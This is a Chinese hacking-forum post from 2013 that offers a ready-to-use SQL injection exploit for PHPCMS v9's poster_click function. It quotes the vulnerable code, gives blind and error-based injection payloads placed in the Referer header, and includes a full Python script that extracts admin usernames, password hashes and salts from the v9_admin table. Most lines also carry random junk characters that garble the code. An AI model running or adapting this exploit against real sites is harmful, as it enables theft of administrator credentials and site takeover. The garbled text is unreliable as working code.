找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
- y9 y: ^6 o4 C! [1 i4 N  S9 J# \% Y3 E- p4 D7 M5 Q
问题函数\phpcms\modules\poster\index.php5 e; }- [& L+ r4 E: C4 _
$ Z3 d' X! K" z$ [- L% q3 X4 d. b
public function poster_click() {
9 T2 Q1 \2 l4 a# i# ]" V# ]+ J$id = isset($_GET['id']) ? intval($_GET['id']) : 0;& s# A) n4 [9 B$ Z. h
$r = $this->db->get_one(array('id'=>$id));
! k4 a- ^% }4 ~8 K' gif (!is_array($r) && empty($r)) return false;
0 u  g0 H  G* i# t" |- \$ip_area = pc_base::load_sys_class('ip_area');
4 Z9 m' f+ \0 O$ip = ip();, K) H. I) |5 Z5 x; \8 t0 A& v0 ^
$area = $ip_area->get($ip);$ y& _5 J" w0 Y4 `! A
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
! X. _. e7 }# }. s# jif($id) {
4 Y1 Q+ v$ H- K( n. }& ~3 U$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();8 D8 `% l. v1 ~, n* L& W" A
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));! J: d; d* R# i, W
}
  i; d5 Q0 T! @$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ O6 F# c0 D0 `. D$setting = string2array($r['setting']);5 Z4 q$ H4 x9 ?4 M3 i
if (count($setting)==1) {
- q: Q$ v2 W7 W$url = $setting['1']['linkurl'];4 E* r4 U* b' v% ~/ J& F! p
} else {
; Y7 Z2 j7 j  K7 X4 O$ X: n3 U$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];8 d  P# x) G: S# A' k2 S
}
* B& O; c& }3 W" X# `header('Location: '.$url);
8 f+ y  V% y; l- q. g4 N. K}+ ?" S( k8 ?! Z: n
) M3 P5 b& W  X( ~  X

( r, S( E8 X* \: |$ b- e
1 R, X% y, \& U8 K% i. ^. @利用方式:0 \6 f- f+ F6 O& @+ `  \

: L8 k* @* T$ m! v1、可以采用盲注入的手法:5 x4 Y0 G* s0 v0 D

7 P- r6 n: t4 k. K2 I. n) kreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
0 B- i; B9 n; l; V1 K. ?$ d  C: _# H8 h. d# z7 [% V  t7 y9 c
通过返回页面,正常与否一个个猜解密码字段。
5 }; }6 U- C5 _; @! a, @" Z+ ^- F; z" a! E% V
2、代码是花开写的,随手附上了:7 \8 X6 J& d9 L  m
/ L6 L+ I+ P- u- o1 K
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 l$ G5 @  K7 c- ?0 y' w5 _$ C7 P* E9 \
此方法是爆错注入手法,原理自查。
8 T% B4 e3 N/ O, ]9 f6 Q; S( f
. `' P. ^8 I9 v, D: ? 2 S, i. J/ g# I# a% v+ Z
1 m/ e  f9 @! X* w9 l  Y
利用程序:1 J2 v+ \' o3 l" n5 F2 s
- r$ z" D& ^( S+ a$ _
#!/usr/bin/env python
; ^$ D1 G. D( x6 W4 p+ W' aimport httplib,sys,re4 ^$ i- d+ E! o$ K% e& w4 M; o! L% \
9 o% k$ \. i, ?5 W
def attack():
! S: U1 D& k4 ~8 P! `) k. P  w; Mprint “Code by Pax.Mac Team conqu3r!”
) W3 G, R& y+ z4 @! |/ i" ~print “Welcome to our zone!!!”  }5 B& j' N( _/ l+ l  m$ Z
url=sys.argv[1]& m" p; ]) x; k+ Y, C
paths=sys.argv[2]. a2 [1 U% Q9 Q; v/ J
conn = httplib.HTTPConnection(url)
* E& k2 a1 w* o8 H/ \; fi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,: v$ J: i" z! j& J* T5 d  @. G3 P+ U
“Accept”: “text/plain”,' }* |: o# _- ?: v4 K5 j- [0 U4 G
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}5 ~% ]6 U3 C  O4 a3 m+ W" L$ K. l
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)) z/ z9 W  m3 c5 m8 L! m
r1 = conn.getresponse(), O! [: l# I1 H* s
datas=r1.read()& h& f0 f( ~( `! Q! G& F/ I9 Z. K
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
' Z" U# K' f' k& l8 {print datas[0]- p' a, P8 ~, W/ M9 Q
conn.close()
3 ]% l2 S8 A4 n' ]% _  iif __name__==”__main__”:' O: w+ K6 F  S2 x4 a, A
if len(sys.argv)<3:
7 q. E7 I0 f( S, @/ I4 o4 ]print “Code by Pax.Mac Team conqu3r”" r8 E- J6 k$ f* C# s- U  n
print “Usgae:”
9 u* x0 L* H5 }; Z9 l: C8 y( A: vprint “    phpcmsattack.py   www.paxmac.org /”
  Y& w( W( K  B; Q; {8 B) hprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”9 e: }7 h  t3 g8 i2 S
sys.exit(1)
0 }, o! W8 x$ N2 i! [attack()
- H) g0 h' F' G( a8 K4 Z: V
7 H* V5 E2 |8 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表